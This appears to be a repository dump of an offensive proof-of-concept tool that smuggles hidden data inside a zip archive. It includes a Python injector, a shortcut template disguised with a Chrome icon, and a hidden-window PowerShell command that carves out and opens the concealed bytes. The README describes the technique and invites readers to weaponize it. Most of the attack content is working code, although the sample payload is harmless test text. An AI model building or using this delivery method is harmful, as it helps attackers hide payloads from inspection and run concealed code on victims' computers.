├── LICENSE ├── README.md ├── template ├── template.lnk └── template_generator.ps1 ├── testdata.txt └── zip_smuggle.py /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. 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This extra data is not visible/does not display when the zip is examined or decompressed, but can be retrieved using powershell via a Windows shortcut file (LNK) within the zip file. 3 | 4 | ## Usage 5 | The script requires a name for your zip file / shortcut file / smuggled file, as well as the file/data you wish to smuggle: 6 | 7 | `python3 zip_smuggle.py important_data /home/ubuntu/zip_smuggling/testdata.txt` 8 | 9 | This will produce important_data.zip within the script folder. Transfer this zip file to a Windows machine, double-click into the zip or extract it, and then click the shortcut contained within. The data you provided to smuggle will be retrieved from the zip file, saved to disk, and opened as a text file. 10 | 11 | ## About 12 | This project leverages an older one of mine, [lnk_generator](https://github.com/Octoberfest7/lnk_generator), that allows you to create arbitrary shortcut files using a preset template. Check out that repo for more of the details / more complete scripts and notes on generating shortcut files. 13 | 14 | The data that is smuggled is placed in-between the data of the files contained within the archive and the archives central directory, which serves as a table of contents of sorts for the zip file. This central directory contains offsets of the files within the archive, so while our injected data is present within the zip it isn't tracked or indexed by the central directory and thus cannot be easily viewed or extracted. The python script finds "End of Central Directory" offset within the zip file and updates it with the new location of the central directory after the smuggled data has been injected. The following graphic displays the general structure of a zip on the left, and where our data has been inserted on the right: 15 | 16 | ![image](https://github.com/user-attachments/assets/c15006ef-5aba-4b32-8b4e-7715c7072792) 17 | 18 | The smuggled data is extracted using a powershell command: 19 | 20 | `powershell.exe -w 1 -c "$name = \"testing\";$file = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *$name.zip).fullname;$bytes=[System.IO.File]::ReadAllBytes($file);$size = (0..($bytes.Length - 4) | Where-Object {$bytes[$_] -eq 0x55 -and $bytes[$_+1] -eq 0x55 -and $bytes[$_+2] -eq 0x55 -and $bytes[$_+3] -eq 0x55 })[0] + 4;$length=12;$chunk=$bytes[$size..($size+$length-1)];$out = \"$Env:TEMP\$name.txt\";[System.IO.File]::WriteAllBytes($out,$chunk);Invoke-Item $out"` 21 | 22 | This command: 23 | 24 | 1. Searches recursively through the user's home folder for the zip file 25 | 2. Reads it into memory 26 | 3. Locates an egghunter byte sequence (`0x55/0x55/0x55/0x55`) marking the start of the smuggled data 27 | 4. Writes the smuggled data to disk as payload_name.txt 28 | 5. Opens the text file using the default system application for .txts 29 | 30 | This POC has been left pretty general / weaponizing it to use other file types / etc will be left as an exercise to the reader. 31 | -------------------------------------------------------------------------------- /template/template.lnk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Octoberfest7/zip_smuggling/589b7809d2ab3d87b7b0fceebedf015bc2aa0b2b/template/template.lnk -------------------------------------------------------------------------------- /template/template_generator.ps1: -------------------------------------------------------------------------------- 1 | $WshShell = New-Object -comObject WScript.Shell 2 | $Shortcut = $WshShell.CreateShortcut("c:\users\ieuser\desktop\template.lnk") 3 | $Shortcut.IconLocation = 'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe' 4 | $Shortcut.TargetPath = 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' 5 | #Use ONE of the Shortcut.Arguments lines; if using '-w 1 -c...' to make powershell hidden, make sure you change genlnk.py as well! 6 | #$Shortcut.Arguments = '-c ""' 7 | $Shortcut.Arguments = '-w 1 -c ""' 8 | $Shortcut.WorkingDirectory = '%CD%' 9 | $Shortcut.Save() -------------------------------------------------------------------------------- /testdata.txt: -------------------------------------------------------------------------------- 1 | testtesttest -------------------------------------------------------------------------------- /zip_smuggle.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import sys 3 | import os 4 | import struct 5 | import shutil 6 | from pathlib import Path 7 | 8 | def find_eocd_offset(zip_data): 9 | eocd_sig = b'\x50\x4b\x05\x06' 10 | max_comment_length = 0xFFFF 11 | search_area = zip_data[-(max_comment_length + 22):] 12 | rel_offset = search_area.rfind(eocd_sig) 13 | if rel_offset == -1: 14 | raise ValueError("EOCD not found") 15 | return len(zip_data) - len(search_area) + rel_offset 16 | 17 | def update_eocd_cd_offset(eocd_data, new_cd_offset): 18 | # EOCD structure: bytes 16-20 is the offset of the start of central directory 19 | return eocd_data[:16] + struct.pack(' ") 54 | print("Example: python3 zip_smuggle.py important_docs /home/ubuntu/zip_smuggling/testdata.txt") 55 | 56 | payloadname = sys.argv[1] 57 | filetosmuggle = sys.argv[2] 58 | outfile = payloadname + ".zip" 59 | szPayload = str(os.path.getsize(filetosmuggle)) 60 | 61 | print("payloadname: " + payloadname) 62 | print("file to smuggle: " + filetosmuggle) 63 | 64 | #Command to be stored in .lnk. Make sure you use escape characters as necessary for Python! 65 | command = '"$name = \\"' + payloadname + '\\";$file = (get-childitem -Pa $Env:USERPROFILE -Re -Inc *$name.zip).fullname;$bytes=[System.IO.File]::ReadAllBytes($file);$size = (0..($bytes.Length - 4) | Where-Object {$bytes[$_] -eq 0x55 -and $bytes[$_+1] -eq 0x55 -and $bytes[$_+2] -eq 0x55 -and $bytes[$_+3] -eq 0x55 })[0] + 4;$length=' + szPayload + ';$chunk=$bytes[$size..($size+$length-1)];$out = \\"$Env:TEMP\\$name.txt\\";[System.IO.File]::WriteAllBytes($out,$chunk);Invoke-Item $out"' 66 | print("Powershell command: powershell.exe -w 1 -c " + command) 67 | 68 | lengthCommand = len(command) + 8 69 | 70 | #Read in .lnk template. Template file contains powershell as target and is pre-seeded with '-w 1 -c ""'. Above command will replace the "". 71 | with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), "template", "template.lnk"), 'rb') as f: 72 | s = f.read() 73 | 74 | # '\x22\x00\x22\x00' represents the "" pre-seed we are going to search for and replace. Because it's UTF-16 there are null bytes inbetween the characters. 75 | # subtract 18 from location of byte pattern to locate bytes that represents length of args 76 | locLenByte = s.find(b'\x22\x00\x22\x00') - 18 77 | 78 | #Patch in correct length byte. 79 | s = s[:locLenByte] + lengthCommand.to_bytes(2, byteorder='little') + s[locLenByte + 2:] 80 | 81 | #replace '".".' with command 82 | s = s.replace(b'\x22\x00\x22\x00', bytes(command, 'UTF-16')) 83 | 84 | #strip out encoding header 85 | s = s.replace(b'\xff\xfe', b'') 86 | 87 | # Make directories that we will save lnk in and zip 88 | os.makedirs(os.path.join(payloadname, payloadname),exist_ok=True) 89 | 90 | # Write file 91 | lnk = os.path.join(payloadname, payloadname, payloadname) + ".lnk" 92 | with open(lnk, 'wb') as f: 93 | f.write(s) 94 | f.close 95 | 96 | # Zip folder and place assembled zip payload at proper location 97 | shutil.make_archive(payloadname, 'zip', payloadname) 98 | 99 | # Delete folder now that it has been zipped 100 | shutil.rmtree(payloadname, ignore_errors=False) 101 | 102 | # Inject file into zip 103 | inject_zip(outfile , filetosmuggle) 104 | 105 | print("[+] Done. File saved at " + outfile) --------------------------------------------------------------------------------